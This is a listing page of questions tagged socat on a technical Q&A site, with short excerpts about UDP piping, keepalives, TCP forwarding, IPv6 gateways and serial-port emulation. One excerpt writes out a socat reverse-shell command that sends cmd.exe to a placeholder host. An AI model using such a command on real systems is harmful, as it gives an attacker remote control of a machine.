Questions tagged [socat]

76 questions
19
votes
3 answers

Netcat/socat behavior with piping and UDP?

I guess this is close to linux - Netcat stops listening for UDP traffic - Super User, but I thought I'd better ask anyways As far as versions of netcat I'm using Ubuntu 11.04 and the default netcat on it, which I'm guessing is the openbsd one: $…
sdaau
  • 6,008
15
votes
2 answers

How to keep socat alive using keepalive option

I have this socat command that is running fine, but when no data is transfered, it is dying after exactly 5 minutes and I don't understand why as I've set it up to send 100 keepalive every 10 seconds after the first 10 seconds. From what I…
7
votes
1 answer

How to make `nc` listen on a port without setting `SO_REUSEPORT`

I want to have a nc command listen on a TCP port so I did: nc -lv 8888 Then in another console I checked if another program trying to listen on the same port would get an Address already in use type of error so I issued the same command again: nc…
DWilches
  • 345
7
votes
1 answer

forward a TCP connection with logging using socat

I'm trying to debug a service to which clients connect using TCP (in Linux). I cannot change either program (don't have source), and I cannot make use of mechanisms which snoop on the network layer (like tcpdump, pcap, wireshark, etc). I can…
William
  • 921
6
votes
0 answers

Forward IPsec tunnel from IPv4 endpoint to IPv6 endpoint

I have a new ISP and only have a Dual Stack - lite connection now. That means I can't access my router via IPv4 anymore, since the external IPv4 address is private. I have native IPv6 connectivity. My IPSec tunnel cannot work on IPv4 only networks…
Jonathan
  • 161
6
votes
2 answers

Send UDP packet and listen for replies

I have a program with a Send an UDP packet to port xyz and I will reply with some UDP packets! interface. I've found out that I can send a UDP packet with echo | socat - udp::,sp= and listen (= just dump…
Bowi
  • 1,637
  • 2
  • 20
  • 41
5
votes
2 answers

Make socat listen on both IPv4 and IPv6 stacks

Switched providers the other day, they only assign DSlite-connections. I'm fine, I thought. Thing is - I want to access some of my stuff from outside of my network, which should be of much less a hassle now I got native IPv6. My new main problem was…
LDericher
  • 161
5
votes
2 answers

SOCAT on WINDOWS: why do I need pipes option for EXEC address?

Trying to create a reverse shell, I used this one my windows box: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe' which failed with the following error: "The process tried to write to a nonexistent pipe." Using the pipes option, it now works: socat -d…
4
votes
1 answer

Impersonate a serial device with socat

I am trying to use socat to impersonate an external serial device. If I do this in one terminal: sudo socat -ddd -ddd PTY,raw,link=/dev/ttyS32,echo=0 READLINE and run this simplified version of my Python serial interface client in another: import…
AShelly
  • 489
4
votes
1 answer

How do I run a command for each UDP packet with socat?

I'm trying to print each arriving UDP packet. I'd like to use xxd to print the ascii contents as well as the raw data (as hex). So far I've used socat - udp4-listen:11255,reuseaddr,fork | xxd This sort of works, but xxd buffers the input until it…
4
votes
1 answer

socat UDP IPv6 to IPv4 gateway results in lots of processes

I have an IPv4-only UDP application listening on port 624. I created an IPv6/IPv4 front-end with socat, listening on port 625. I can now use the server's IPv4 or IPv6 address to access the IPv4-only app. Cool, so far! socat…
4
votes
1 answer

How to get an ssh socks proxy on demand?

I know ssh provides a SOCKS proxy with -D. I wonder if it's possible to start such a proxy on demand, the moment a connection is made to a specified port (using the likes of socat and nc under the hood). This is a single-user machine, so no…
3
votes
1 answer

Does an open TCP socket connection consume data when not used?

I have a TCP socket connection established between my server and a modem which has a active GSM module and sim card installed. I create this wirless 3G connection via socat: /usr/bin/socat open:/dev/ttyVA8500,nonblock,echo=0,raw…
3
votes
2 answers

Record multicast stream on multi-homed Linux host

I have what sounds like the simplest possible use case, and yet nothing is satisfactory. I have a multi-homed host and I would like to listen to multicasts on eth1, and shove all the payload (NOT including UDP packet headers, just the payload) into…
snacky
  • 343
3
votes
1 answer

bidirectional socat functionality with nc

This is question is somehow related to https://superuser.com/questions/270698/how-is-it-called-when-listeningconnecting-two-sockets-and-exchanging-data-betw In the test setup I have three terminal windows open I run in Term1: "nc -l 55545" Term2:…
Ben
  • 31
1
2 3 4 5 6